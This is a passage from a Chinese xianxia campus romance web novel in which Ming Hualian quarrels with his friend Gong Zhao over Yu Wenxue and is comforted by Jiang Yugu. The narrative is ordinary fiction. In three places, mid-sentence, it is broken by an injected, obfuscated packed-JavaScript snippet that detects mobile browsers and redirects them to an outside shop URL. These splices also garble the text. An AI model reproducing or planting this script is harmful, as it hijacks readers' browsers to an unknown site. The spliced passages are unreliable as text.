褚循声音都开始颤抖:“求求你,夏淳同学您帮我这一次,以后我给您当牛做马。” 夏淳不耐烦:“滚远一点。” “哎哎,”一直看戏的娄绣石笑眯眯插话了:“你看啊,是你最开始为了让旁人对你高看一眼。所以用那种廉价的东西锻造本命剑,没错吧?” 褚循哽咽“嗯”了一声。 娄绣石温言细语:“所以呀,这个责任应该你自己来承担。你也不能无缘无故就让人家借家中的灵宝,是吧?从来没有这个道理的。” 褚循:“我……我知道。” “除非你能拿出一点有价值的东西。”娄绣石循循善诱。 褚循:“可是我没有……” “我知道你身无长物,”娄绣石打断他的话:“没有什么有价值的,那你能拿的只有你的诚意喽。” “……” 娄绣石语气和睦:“这样吧,你一步三叩登上枫隆寺主庙,把诚意展现给我们看看。” “……” 明华潋走到门口的时候,刚好碰到从学堂里出来的褚循,对方脚步虚浮,走路跌跌撞撞,一个趔趄差点撞到栏杆上。 他下意识扶了对方一把。 “当心脚下。” 褚循声音微弱:“谢谢你。” 当四目相对,看到褚循下垂的眼睑和皱巴巴的嘴唇,他的内心倏然动摇了。 短暂思索后,他叫住了褚循:“你等一下。” 褚循停下脚步。 “别去枫隆寺,娄绣石只是在故意刁难你,枫隆寺坐落在芜青雪山,有五千三百级台阶,以你现在的状态一步三叩,还没等入庙就已经没命了。”明华潋递给了他一瓶药:“这是大回春丹,你每九日吃一粒,坚持到下一次东海沉舟秘境开放,或许还有转机。” “……谢谢。” 大回春丹是很珍贵的药材。 褚循眼眶红了。 明华潋没有再看他一眼,大步踏进学堂。 刚刚回到座位坐下,便感觉到一直跟随他的视线还没挪开,他不得以抬头,与江郁故对视。 “潋儿,好善良啊。” “只是顺手而已。”他故作淡淡道。 他一直很清楚,善意并不一定会有善果。 记得在他小的时候,家里不富裕,有个乞丐总是到他们家门口讨食,父亲偶尔会给一些馍馍,但那乞丐习惯之后,居然天天过来讨食。 但凡他父亲不给,乞丐还会撒泼大骂。所以他很小的时候就告诉自己,他的善意一定要得到回报才行。 不仅他的爱情是利己的,他的善意也要是利己的。 他与褚循不算熟,也觉得褚循贪慕虚荣固然要承受应有的代价,但当看到出身寒门的褚循如此虚弱狼狈,他的内心居然也跟着沉重起来,所以他主动表现出善意,并不是出于善良本身,只是为了缓解自己的情绪罢了。 但江郁故却从上面打量着他,微微眯起眼睛,唇角徐徐扯开一个笑容:“不,你就是善良啊。” 明华潋懒得和他掰扯:“哦。” 他扭头继续温习下一堂的功课。 但肩膀又被碰了碰。 “潋儿啊。” 似乎错过了第一次纠正的机会,江郁故居然叫这个名字叫上瘾了。 他回过头刚想纠正,却见江郁故用手指遮着下半张脸,却依稀能看到微微翘起的唇角。 “那你能对我善良一点吗?”江郁故用低沉声音问。 他觉得自己其实和江郁故并不是很熟。 江郁故这是想主动跟他拉近关系? 在略微思索后,他觉得也没什么坏处,问:“你要我……怎么对你善良一点?” 江郁故也露出思考的表情,然后微微笑了:“下次把休沐时间分我一点?” “……我想一想。” 史学课结束后,已是夕阳西沉。 天空万鸟归巢,黄昏往学堂倾倒余晖,将桌椅染上一层橘金色。 宫昭走过来:“余温雪怎么没来上课?” 明华潋感到荒谬:“这我怎么知道?” 宫昭没说什么,转身匆匆走了,应该是去找余温雪去了。 夏淳轻嗤:“也不知道那余姓小子怎么就把宫昭迷得神魂颠倒的,连朋友都不在乎了。” 明华潋知道夏淳嘴巴里不在乎的朋友肯定是在说他,他装作毫不在意的样子,耳朵却慢慢变烫了。 尤其是娄绣石和夏淳投来的目光,那个目光分明是在说,之前宫昭最在乎的朋友是他,但现在已经换了人,羞耻的感觉让他胸口一闷,本就还没明朗多久的心情,顿时变得很糟。 他装作轻描淡写,也不知道是在骗夏淳,还是骗自己:“也许只是担心余温雪生病了。” 夏淳:“真不知道男人后面有什么好玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606476|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 现在连夏淳都知道宫昭和余温雪的暧昧了。 明华潋也是后来才听说。 前段时间,以夏淳为首的一伙人翻墙出学院,被巡查的余温雪发现,两方爆发了冲突,差一点就要动手了。 是宫昭护住了余温雪,以一种维护的姿态,宣告余温雪是他的人,轮不到你夏淳来动。 夏淳大为震撼,也是因为这件事才知道余温雪和宫昭的关系。 自己居然成了这俩人play的一环? 而也是因为这件事。 余温雪在此之后和宫昭和好了。 明华潋听后只觉得宫昭幼稚可笑,这算什么呢?算是占有欲吗?只有他宫昭能欺负余温雪? 回想到这些,他心里憋闷得厉害,不知在位上坐了多久,周围的座位都空了,娄绣石,夏淳等人早就走了。 灼金的霞光斜斜倾洒在桌面上,刺得他眼皮生疼,他忽然想起之前江郁故说他身上有宫昭的气息,便一口气对自己用了好几个洗涤术泄愤。 其实他也知道,他的心中除了对宫昭不讲信用的委屈之外,更是因为求而不得的心情弄得他接近崩溃。 他出于自尊心不愿表白心意,但每当他见到,听到宫昭和余温雪的状况,自尊心又会偷偷破碎。 他的爱意如此卑微,连和宫昭说话都会斟酌再三,但宫昭却如此无情地甩头就走。宫昭的心里只装着余温雪,分给他的只有片刻余光,愤懑,委屈,嫉妒……他的胸腔何时居然能装满这么多痛苦? 他在心里骂着,忽然听见背后传来动静,回头一张望,对上江郁故的目光,他下意识流露出惊讶的表情,嘴巴微微张开,又迅速把嘴巴闭上。 他没想到江郁故还没走。 一想到自己刚才反复用洗涤术的样子,他心里略微尴尬,但他天生镇定的心态,让他能继续保持厚脸皮。 江郁故似乎刚刚睡醒,茫然地眨了眨睫毛。 “你刚睡醒吗?”他主动问。 江郁故“嗯”了一声。 明华潋松了一口气,至少他刚才抓狂的样子没被江郁故看去,但憋闷内心依旧得不到缓解。 潮水般的情绪在内心堆积,需要一个出口,而江郁故似乎是个很好的聊天对象。 “你说……为什么仙人也会求而不得?”他问。 江郁故想了想:“那是因为我们还不是真正的仙人,只是修者。” “也是。”他脑中念头一闪,抓住了江郁故话语里的漏洞:“你也有想得到却得不到的东西吗?” 他以为江郁故会否认,但出乎意料的是江郁故道:“当然。” “与修炼有关?”明华潋好奇:“但你不是不在乎这些?” 江郁故:“不在乎这些,也会有其他在乎的方面。” “比如呢?”他问。 “就是一些烦心事。”江郁故的态度模糊,摆明了不想多谈。 但听到江郁故说他自己也会有烦心事,这让明华潋感到稍微的宽慰。 虽然他知道这种心态很自私,可出身优越的江郁故也会有烦心的事情,让他心情好受了一些。 “我衣服上还有味道吗?” 江郁故的手指轻轻按压在桌面上,随即从座位上站了起来,走到他身边。 内心忽然有点紧张。 他发现江郁故眼睛又浓又深,连黄昏时分暖色的光都透不进去,居高临下看人的时候显得傲慢又冰冷,却与本身冷白色的皮肤相得益彰。 江郁故微微俯身,耸起鼻尖嗅了嗅:“还有一点。” 明华潋皱起眉头,他分明闻不到任何味道,也不知道江郁故是不是瞎说的,还是真是狗鼻子。 一件宽大的校服突然兜头罩了下来,把他整个人的头和脸包括身子都包在了里面。 好不容易用手扒拉才把头露出来。 他轻微吸了一口气。 “呼唔……你做什么?” 面对他的质问,江郁故一脸无辜:“这样就没有味道了。” “……”明华潋:“那你也不能一言不说就……” 江郁故用手掌遮住唇角的笑:“那我提前说了,就可以把衣服盖在你身上吗?” “……也不是。” 他微微一动,肩膀上衣服就差点滑了下去,他连忙抓住流苏的一角,生怕衣服坠落到地面沾上灰尘。 江郁故的校服比他的款式大的多,虽然平时就知道江郁故比他高一个头多一点,却没想到他们的尺寸差距会这么大。 江郁故……真是让人莫名其妙的家伙。 而看着披着他衣服的明华潋,他的气味完全覆盖住了其他乱七八糟的气味。 江郁故眯起眼睛。 翘起了嘴唇。 17. 幼稚 “你们俩最近好像走得很近?” 翌日早课,宫昭眯眼看着明华潋和江郁故小声说话,忽然开口。 “那是因为你最近都和余温雪在一起啊。”他脱口而出就后悔了。 这番话好像显得他自己是满腹怨气的家伙,他唯独不想让宫昭知道自己的心思,不想让宫昭知道自己的嫉妒和愤懑。 但好在余温雪恰好起身走过来,宫昭的注意力立即转移过去,并没有在意他刚才说的话。 明华潋一抬头对上江郁故的视线,但从那双深邃的眼睛,他很难分辨出对方究竟在想什么? 他也很不喜欢自己心绪会因宫昭随便一句话而起伏,说出这些不体面的话,但他的心仿佛奄奄一息被困囿在牢笼中,即便他用力挣扎到疲惫也无法挣脱。 他早已厌倦了卑微的单恋,每当看到余温雪和宫昭在一起,就像有一根刺扎入心间,能清晰的感觉到千疮百孔的心缓慢流淌着鲜血。 他甚至在想,直到哪天血液流干,他会不会好受一点。 他低头翻开课本,忽然听见旁边的椅子被人踹了一脚。 扭头看到宫昭一脸怒意,明华潋很意外宫昭为什么又不高兴了,一抬头便看到余温雪正和兰砚书说笑聊天。 只是交谈两句话之后,余温雪又继续朝他们方向走来,宫昭却忽然黑脸甩手离开了。 余温雪手里捧着一只精致的瓷盒,里面应该盛放的是点心之类的东西,疑惑地望了望宫昭的背影,脸上的表情慢慢变得忐忑不安。 迟疑地问明华潋:“他是不是生气了,为什么黑着一张脸……” 明华潋皱了皱眉,只觉得满腔烦躁的情绪快控制不住。 也不知道为什么,昨天宫昭找不到余温雪就跑过来问他,而今天宫昭不高兴,余温雪也要问他。 无论如何,他们俩的事情跟他有什么关系? 于是他忍不住疑惑:“你为什么问我?” “啊……”余温雪没想到他这么问,认真想了想:“因为你们关系最好,而且你们从来不争吵……我和宫昭却经常吵架。” 没想到余温雪说出了这样一番话,恰好是在他心情最糟糕的时候,一股微妙的优越感又涌了上来,像是自我内心本能的抓紧了一缕能滋润焦渴心田的甘露,优越感又在他心里作祟了。 没错,他和宫昭几年来几乎没有真正吵过一次架。 虽然非常偶尔的时候,他们会闹小别扭,但总是宫昭先主动跟他说话,是旁人没有的待遇,也是他总是心里洋洋得意的资本。 但此刻让他暗自享受优越感的,并不仅仅是因为这一点。 而是因为在他观察余温雪的时候,余温雪也在观察他们。 他在羡慕余温雪的时候,余温雪也在羡慕他。 或许只是这个事实让他获得了微妙的平衡,他心里获得了一丝快意。 但他立即把这种快意隐藏起来。 因为他知道这种快意是很卑劣的,一旦外显出来就会让自己在班里苦苦经营的形象崩塌。 所以他装模作样地安慰余温雪:“宫昭他总是这样的,等他自己想清楚了就好了。” “也是,”余温雪点了点头:“他的气一向来得快去得快。” 明华潋:“是这样的,没准一会上课的时候就好了。” “不过我还是觉得很苦恼,”余温雪犹豫了下,说:“宫昭他……经常没由来的发脾气,我总是要忍受他突如其来的暴脾气。” 明华潋微微避开了他的视线:“为什么要忍受?” “可是……” “你可以不忍受的。”他假装为余温雪考虑:“为什么只有你忍受呢?这样你永远是在受气,不开心的只有你自己。” “是的……”余温雪缓慢思考着,点了点头:“你说得对。” “快回到位置上吧!”明华潋不怎么想和他说话,道:“我好像看到竹竺前辈的的剑意了。” “嗯嗯。”余温雪连忙回去了。 过了半盏茶的时间,德音尊主座下大弟子竺兰走进学堂。 由于德音尊主醉心音律与山水,鲜少现身嵇云,通常都由其座下大弟子竺兰代为授课。 竺兰容貌端正文雅,为人敦厚稳重,遇事又淡然自持,在嵇云从不与人结怨,风评极佳。 当年明华潋也是被他发现灵根,这才被竺兰破例带回嵇云。 明华潋对竺兰心存感激,竺兰也很喜欢他这个上进的后辈,两人私交一向不错。 明华潋本就对音律有兴趣,德音尊主又逍遥自在,对于座下弟子管束不如阴岚尊主严格,因此他也一直想在结业考核后拜入德音尊主门下。 因此与竺兰这位师兄搞好关系非常重要。 每当竺兰授课时,他总想好好表现,给对方留下一个好印象。 传统授课结束后,临近下课,竺兰道:“音律学这堂课你们学习已有三载,想必对音律也有所体悟,音修并非传统的以音为攻,而是讲究一个‘感悟’。” “从天地初开之时的太初之音,到一花一叶,一丝一竹,善听者总能听到世间万物的本源之声。而我们研究能够通过乐器发出‘音’,与世间万物的‘律’共鸣。” 稍作停顿,给了大家足够时间思考后,竺兰嗓音如碎玉落盘:“音律并非一人独享之事,与旁人合奏,若两人能心意相通,或许能音意同律,事半功倍。” 有人举起了手。 竺兰点他:“砚舟。” 兰砚舟起身:“想必这也就是音修中的‘双人共奏,妙音指法’?” “不错,”竺兰表扬了一句:“因此我要布置一则功课,两两一组,没有规定的曲调,你们可以各自商议,但只有一点,两个人必须弹奏同一支曲子。” 兰砚舟发问:“莫非下次上课要进行考核吗?” 竺兰道:“遗珠花苑生长着名为‘悦音’的花,三瓣两叶,蓝心为蕊,若两人心意相通,协心共奏,妙音便可使花开崇光,香雾转廊,下次上课我要你们各带回一株绽放的‘悦音’。” 兰砚舟坐下:“我明白了。” 明华潋对所谓“悦音”花尤为好奇。 依竺兰所言,只有二人协奏,心意相通,方能让悦音绽放,难道一人独奏就不能让悦音绽放吗? * 于是待到午膳,宫昭听说他的疑惑后:“你要去遗珠花苑?” 明华潋:“嗯,想知道一人之力能不能让悦音绽开?” “那一起去。” 他困惑的看向宫昭,没想到宫昭今天居然没有跟在余温雪屁股后面跑。 也有可能是午膳时余温雪根本没出现的缘故。 不管怎么说,他的心情都很愉快。 他们一同来到遗珠花苑。 此处繁花似锦,芬馥花香牵衣带袂,他们在松心池畔发现了一株玲珑巧致的蓝花。 宫昭:“三瓣两叶,蓝心为蕊,此花必是悦音。” “我来试试。” 明华潋此刻心情甚好,这是难得他与宫昭独处的时光,他看着宫昭环着双手随意靠在摇枝树下,举手投足都透露出一股野性,桀骜不驯的双眼注视着他。 他深吸一口气,端坐在花下,将落柘的校服衣摆折好,才将七弦琴置于膝上。 风扶树影动,他抚弄琴弦,一连串如清辉落泉般清澈的乐声荡漾开来。 明华潋本就打算拜在德音尊主门下,自然刻苦修炼过琴技。 事实上,他有时候心情不好的时候也会弹一首《清心曲》来洗涤杂念。 他沉浸在琴音中,俨然忘却了周遭的一切,全身心的投入在弹奏中。 直到他依稀听见附近仿佛有凤萧声动,才意犹未尽地停下来。 他睁开眼,迎上宫昭的目光,宫昭注视着他的眼睛道:“真好听,华潋……你的琴技是我听过最高超的。” “只可惜还是没能让悦音绽放。” 他环顾四周,连旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606477|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金桂树、摇枝花都绽开了,一串串金黄色、藕粉色的花宛如藤萝瀑布般沉甸甸的从枝头坠落下来,只有悦音还是花苞闭合不为所动。 “我也来试试。”宫昭也被勾起了兴致。 明华潋让开了位置,他站在了宫昭刚才所站的地方,静静看着宫昭拨弄琴弦。 微风浮动,方才为他绽开的花瓣随风摇落,沐浴在缤纷的花雨中,他望着宫昭抚琴的样子短暂失了神。 沉浸只是很短的一刹那,因为他很快就听出来宫昭所抚的曲子似乎在哪听过。 他默默回忆了一会,终于想起来,同样是在遗珠花苑听余温雪哼过。 悲伤撕裂开他的心脏,他紧紧捏着发颤的手指,等宫昭停下后,他忍了又忍,还是忍不住问:“你弹的曲子是余温雪教你的?” 宫昭漫不经心:“嗯,听他哼过,说是他母亲教给他的。” “为什么弹这个……”他深吸一口气,感觉好像是把唇瓣咬破了,舌尖尝到了苦涩的味道。 他忍不住问:“你是不是……喜欢他?” 宫昭皱眉:“别胡说八道。” “……” 明华潋僵硬地站在原地,捏着发抖的手指,如果是前几个月他听见这样的话,估计会觉得安心,但现在他只觉得可笑,宫昭居然自己都没有意识到对余温雪的感情。 偏偏这时他又听到余温雪的声音:“华潋,宫昭?” 他缓缓望去,只见余温雪和兰砚舟并肩走来,余温雪表情惊讶,但很快就平静了,毕竟竺兰布置了功课,彼此在遗珠花苑碰面似乎也不是什么稀奇的事。 余温雪笑了笑:“你们也来练习共奏吗?刚才就听到你们的琴声……” 宫昭一见余温雪身边还有别人,脸瞬间就拉下来,粗暴打断他的话:“你怎么和他在这里?” 兰砚舟解释:“我们是一组的,当然是来练习了。” 宫昭看都没看他:“嘴闭上,没问你。” 兰砚舟:“……” 明华潋心情简直糟糕透了,眼见宫昭动了动,似乎要朝余温雪那边走过去,他下意识伸手抓住宫昭的衣袖。 宫昭特意陪他来遗珠花苑,他以为是他们俩组队原因,现在他不会要和余温雪一组吧? ……不会吧? 他心里抱了一丝微弱的期待,但宫昭却挣开他的手,径直走到余温雪面前:“你与我一组。” 余温雪耳朵红了,下意识看了一眼明华潋。 刹那间,明华潋只觉得胃里翻江倒海。 他以为宫昭至少还是有一些在意他的,但刚才他都拉住宫昭的衣袖了,宫昭还是选择了余温雪。 而余温雪抱歉的目光让他更加厌恶,他厌恶宫昭和余温雪在一起,也厌恶余温雪同情他。 他感觉自己有点抑不住情绪了,一眨也不眨地盯着宫昭。 但宫昭似乎没察觉到他的情绪,铁了心要创造“二人世界”,非要跟余温雪一组。 “我和砚书已经说好一起了。”余温雪说。 宫昭不以为意:“把他踹了。” “……这样不太好。”余温雪为难道。 宫昭皱眉:“是我听错了吗?你重复一遍。” 兰砚书忍不住了:“你讲讲道理,是我先和温雪说的。” “滚。” 宫昭不耐。 连一眼都懒得看过去。 兰砚书上前两步,还欲与他分辩。 宫昭满脸烦躁,一甩衣袖,狂风将兰砚书掀翻,差点摔进松心池。 “砚……砚书。”余温雪惊呼一声,连忙去扶兰砚书。 “够了!” 明华潋忍无可忍,他知道自己现在情绪不对,但他实在没法再继续忍下去。 他看向宫昭,直视着那双眼睛道:“你觉得强人所难有意思是吗?” 宫昭的眼神冷冷的沉下来。 “什么?” “我是说,你真的很幼稚。” 18.吵架 说出这些话的时候,他的声音都在颤,但宫昭只是瞥了他一眼,就大步走过去,想把余温雪从兰砚舟身边拽过来。 明华潋咬了咬嘴唇,拦在宫昭面前。 “别做多余的事。”宫昭皱眉。 明华潋:“你才是,别再多生事端了。” 宫昭看着他:“让开,明华潋。” “你没觉得你很莫名其妙吗?”他捏紧拳头,愤怒和伤心几乎塞满了整个内心,他知道自己刚才已经失态了,所以装作为余温雪和兰砚舟着想的样子:“为什么要对他们发脾气?为什么要强人所难?” “那你又为什么要站出来?” 宫昭终于没再往余温雪那里走,眼里也没了笑意,沉重的视线盯着他的眼睛。 没听到明华潋的回答,联想到刚才他对兰砚舟动手,他似乎忽然想到了某种可能。 “你喜欢兰砚舟?” “……” 听到这句话,明华潋只觉得荒诞又可笑。 宫昭居然怀疑他喜欢兰砚舟,这真是既可笑又让人震惊。 如果他只是帮兰砚舟说一句话就叫喜欢,那么他平时为宫昭做那些又算什么?帮他做功课,帮他备题应付考试,参与那些无聊又乏味的聚会…… 宫昭怎么能说这种话,凭什么说这种话?怒气一股脑涌上来,让他心里那把火越烧越旺。 宫昭:“为什么不回答,被我说中了?” 明华潋:“莫须有的事回答什么?” “你没对他动歪心思,为什么这样?”宫昭眉眼沉甸甸的,语气透出一丝阴鸷。 明华潋反问:“那你呢?” “我又如何?” “刚才口口声声说不喜欢,又为什么这样?” “……” 他紧紧捏着手指,直到感觉指骨微微发痛。 他必须这样做,只有这样做才能提醒自己打起精神。一直以来千疮百孔的心,在某一刻终于被彻底撕裂。他必须绷紧神经,不让自己说话时,颤抖的语调泄露出去。 不知道目光相视多久,宫昭终于缓缓开口:“所以你要为了这两个人跟我吵?” 明华潋:“难道不是你先无故发脾气?拜托你也尊重一下别人的意见吧。” 说出这些话并没有让他心里好受多少,尤其是宫昭注视着他的目光,让他喘不过气来,甚至误会他喜欢兰砚舟。但这都是值得的,从余温雪出现开始宫昭的注意力就被转移走了,而现在终于回到了他身上。 这时,兰砚舟痛苦地“嘶”了一声。 余温雪面上也浮现一丝慌乱,匆忙道:“别动别动,你脚踝崴伤了。” 兰砚舟隐忍痛苦,摇了摇头:“没事,不严重。” 宫昭嗤笑:“装模作样。” “我是木灵根,懂一些疗伤治愈之术。”余温雪四处望了望:“前面有个亭子,我扶你过去。” 兰砚舟没再坚持,被余温雪搀扶着站起来。 “哪有那么夸张,”宫昭愤怒道:“你没看出来他在故意装相吗?” “……你无故出手,怎么还能说这样的话?”余温雪似乎很失望。 扭过头不再去看宫昭,搀着兰砚舟一步一步朝远处的亭子走去。 宫昭的面庞上浮现出肉眼可见的怒火,明华潋看在眼里,他知道那种怒火代表着什么,是嫉妒,是愤恨,也代表了一个人坠入爱河。 他是如此的感同身受,因为他现在也是这样,心痛到难以呼吸。 宫昭死死盯着兰砚舟搭在余温雪肩膀上的手臂,忍不住暗骂一句,然后大步追了过去。 微风荡过松心湖吹拂在面上,就像一盆冷水浇透了,从头寒到脚底。 明华潋抿紧唇瓣,就那么站在原地。没有追过去,不知道宫昭追过去三个人会发生什么,他也不想知道。 宫昭走后,竭力维持的平静被打破,他脱力一般蹲下来,晶莹巧致的泪水噼里啪啦的落在发抖的手臂上,才意识到自己居然哭了。 “……傻子。” 他责备自己的愚蠢。 他讨厌宫昭,决定不再理宫昭了,不想再理会那个讨厌鬼了。 然而就在此刻,不远处,渐渐传来银铃般悦耳的笑声,像是南若汐和玉流烟。除此之外,好像还有其他的人。 他慌乱地抹了抹泪水,但现在装作若无其事的样子明显是晚了,松心湖倒映出他发红的眼眶。 不想让自己这副模样被其他人看见。 他慌忙站起身,朝着相反的方向奔跑。 由于跑得太过匆忙,一心只想着往人少的方向跑,匆忙间便没有留意脚下的情形,不知被什么绊了一跤,失去平衡向前扑倒。 他下意识护住脸,心脏扑通扑通,却发现摔倒也并不觉得痛。 明华潋惊慌失措地睁开眼,和一道熟悉的目光相撞。 ……江郁故?他怎么会在这里?是了,竺兰布置了功课,估计大家都是来寻找悦音花的。 他发现江郁故的目光落在他的眼尾,一股羞耻感涌了上来,如果他知道江郁故在这里,一定不会往这个方向来的,但现在说什么都迟了,他狼狈的样子还是被人看见了。 他不自觉抬手遮住眼睛,想要起身。 江郁故抓住了他的手腕:“你的眼睛好红,哭过了?” “没有。”他强忍眼泪,起身想走。 “等一下,别走。”江郁故没有放开他,握住他手腕的手反而越握越紧。 明华潋扭过头,想避开他的目光,耳朵微微烧红,为什么他哭的这件事偏偏要被江郁故看到?江郁故会怎么想?会告诉宫昭吗? 数不清的念头在脑海中浮现,从松心湖吹来的风捎来阵阵寒意,想到这些可能,他手脚发凉,努力想要挣脱江郁故。 “你别抓着我,我还有事……”他又说谎了。 因为他实在太惊慌了,只想尽快逃离这里。 但江郁故没有放过他,依然紧紧握着他的手腕,明华潋只能以一种尴尬的姿势跨坐在江郁故的身上,他尽力避开江郁故的视线,只感觉到微凉的手指拂过他的眼角。 江郁故皱眉:“为什么哭了?” “我没有。”他胡乱找个借口:“只是刚才眼里进沙子了,没有揉出来。” 江郁故:“我帮你瞧瞧。” 明华潋本来想拒绝,但不知道是不是嗓子被唾液哽住了,没能及时发出声音,脸被江郁故抬了起来。 他的脸颊非常烫,而江郁故的手指很凉,以一种缓慢的动作抚上他的眼睑。 即便他想要躲避,但在现在这种时候也是避无可避。他眼睁睁看着江郁故俯视着他,江郁故的气息充盈在他的呼吸之间,那双忧郁而不透光的眼睛倒映出他狼狈的脸。 糟透了,真是糟糕透了,他为什么会这么狼狈?这都是因为宫昭。 之前悄悄建立在心底的优越感荡然无存,当激烈的痛心感过去之后,只剩下灰烬一般的悲哀和愤怒,宫昭满脑子想的都是余温雪,他从未如此清晰的意识到这个事实。 之前他和宫昭确实没怎么闹过矛盾,但唯数不多爆发的矛盾居然为了余温雪,这实在太荒唐了,又荒唐又可笑。 宫昭甚至为了余温雪丢下他就走。 悲伤就像一直以来蓄满的洪水,在这一刻破匣而出,他气得肩膀颤抖,喉咙溢出一声压抑之极的哽咽,一直强行忍住的泪水流了下来。 江郁故一下就松手了,不知所措:“我弄疼你了吗?” “……” 明华潋只觉得羞耻极了,他竟然没控制住眼泪,但比起他的羞耻,他也是第一次见到江郁故这么惊慌失措的样子。 尽管泪水模糊了视线,江郁故的表情依旧近在咫尺,那么的清晰,带着慌乱和忐忑,甚至有点手足无措。 “我刚才弄痛你了吗,可以看一下吗?” “……呜。”明华潋肩膀颤抖,努力不让丢脸的哭音泄露出去。 “潋儿。” 江郁故揽住他的肩膀,抬手拭去他睫毛上的泪水,明华潋没再继续挣扎,他大口呼吸着,想要让自己的心情平复下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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接下来几天,早课时他不再搭乘宫昭的仙舟,而是单独御剑前往,午膳时也主动坐到其他位置上,晚上也不再去宫昭的居舍打牌。 他强迫自己不去关注宫昭,听到娄绣石等人讨论宫昭,他也会起身走到回廊上去,不想听到任何有关宫昭的消息。 他的自尊心让他没办法再和宫昭那样大吵一架之后,还一如既往地留在宫昭身边。 他努力让自己不去想宫昭有关的任何事,但偶尔走神的时候还是会不自觉想到。 他主动拉开了和宫昭的距离,即便这不是他内心想要的。 但会不会从此他们就这么渐行渐远?想到这种可能,一股失落又庆幸的情绪就涌了上来。 虽然他表现的态度很冷漠,但实际上他的心情也是一团乱麻。 临近秋季,撷英三月一轮的季考开始了,为了在季考里得到一个不错的名次,他夜以继日地将精力投入到学业里,这段时光就像漫长昏沉的永夜,不知何时能迎来黎明。 在考场外,他和宫昭碰见了一面,装作没看到,匆匆走了过去,而宫昭也没叫住他。 双方都没打招呼,就这么擦肩而过后,一股失落感几乎将他淹没。 而这次季考也发生了一件不寻常的事,那就褚循似乎退学了,连季考都没有参加。但这件事只是成为了娄绣石、夏淳等人打赌的谈资,并没有掀起多大的风浪。 多一个人少一个人的撷英院并没有任何的区别。 待到为期五日的季考结束,回到撷英院后,明华潋发现桌案上多一盒福云记的甜糕。 一直平静的心湖像是被猛地拨动了一下,心底萌生出一丝隐秘的期待。 知道他喜欢吃福云记的人寥寥无几。 他几乎下意识扭头去看宫昭。难不成是宫昭放在他桌上的?想要和他和好? 就在他要到达极限的时候,也许宫昭也是如此。想到这些天宫昭的内心或许像他一样难过纠结,然后主动向他低头,心脏便不由十分活力地跳动起来。对于这个可能性,他自认至少有七成的把握。 但他本性谨小慎微,心里还在犹豫,要不要去问,万一要是他会错了意,那就太丢人了。 想了想,他按耐住激动的心情,转向来的比他更早的少年:“邬缪。” 邬缪疑惑抬头:“什么事?” 明华潋:“这个……你知道是谁放在我桌上的吗?” 19.拒绝 邬缪想了想:“不是江郁故放的吗?” 这是一个完全出乎他意料的回答。 “……江郁故?” “嗯,”邬缪道:“他来得比我早,所以我认为应该是他。” “谢谢……” “不客气。”邬缪又低头看书了。 得到这样的答复,明华潋失望的情绪差点就流露在脸上,又有点庆幸,幸好刚才没有直接去问宫昭。 真是丢脸。 强烈的失望感让他近乎失魂落魄地坐下来,为了避免让其他人发现自己的情绪,他深吸一口气,装得毫不在意的样子,度过了漫长又魂不守舍的音律课之后,对江郁故道:“江郁故,你为什么把东西放在我桌案上?” 没有得到回应。 一回头,他发现江郁故把脸埋在臂弯里,似乎还在睡着。 不过明华潋也不觉得有多奇怪,毕竟江郁故总是这样,一到学堂就埋着脑袋睡觉,尤其刚才还是音律课,江郁故好像尤其厌恶这门课,听他的说法,似乎是觉得音律课呕哑聒噪,对听觉极不友好。 他犹豫了下,推推江郁故的肩膀:“喂,江郁故。” 肩胛骨微微颤动,江郁故醒过来了,慢吞吞打着哈欠,睁开了朦胧模糊的眼皮。 他意识到自己的手还搭在江郁故的肩膀上,正打算收回去,江郁故却忽然伸手握住了他的手腕。 腕部传来一阵轻微的疼痛,明华潋蹙眉:“啊,你戒指硌到我了……” 江郁故怔忪一瞬,缓缓松开了手掌,似乎刚才握住他手腕的动作只是下意识的行动。 “抱歉。”江郁故刚醒来时,语气比平时更柔和平静:“不过这不是戒指。” 明华潋:“那是什么?” 江郁故慵懒地往后一靠,自然而然举起手臂,展示手指上深色的海陬石:“约指,在我们那里是一种约定信物。” 约定信物? 明华潋:“所以你是因为约定才佩戴它?” 江郁故想了想:“也可以这么说。” 明华潋也是第一次听到约指这种说法,盯着那枚神秘的海陬石,心里觉得十分好奇。以江郁故这样的性格,会和什么样的人定下约定,居然还时时刻刻戴在身上? 但好奇归好奇,他觉得自己跟江郁故的关系没有到能刨根问底的程度。 他指向桌角包装精美的福云记礼盒:“这个是你送给我的吗?” “不是啊。” 江郁故道。 明华潋的心微微一跳,不是江郁故难道真的是宫昭?但江郁故紧接的后半句话又让他心情平静了下来:“是我母亲让我给你的。” “……你的母亲?” 江郁故认真道:“嗯,估计是觉得我这次地缘课考试有长进吧?我说是因为看了你的笔记。” 明华潋最后一丝希冀破灭,心中隐隐有些失落,但之前本来就没抱多少希望,现在也不知道有多难过。 只不过这也是他第一次听到江郁故提到父母。 像是娄绣石、夏淳的父母总是会派人过来敦促他们的学业,但江郁故的父母似乎格外神秘,他从来没有见过。 江郁故又打了个哈欠:“她非要感谢你,不喜欢的话,就拿去丢掉吧。” “算了……丢掉多可惜。”明华潋道。 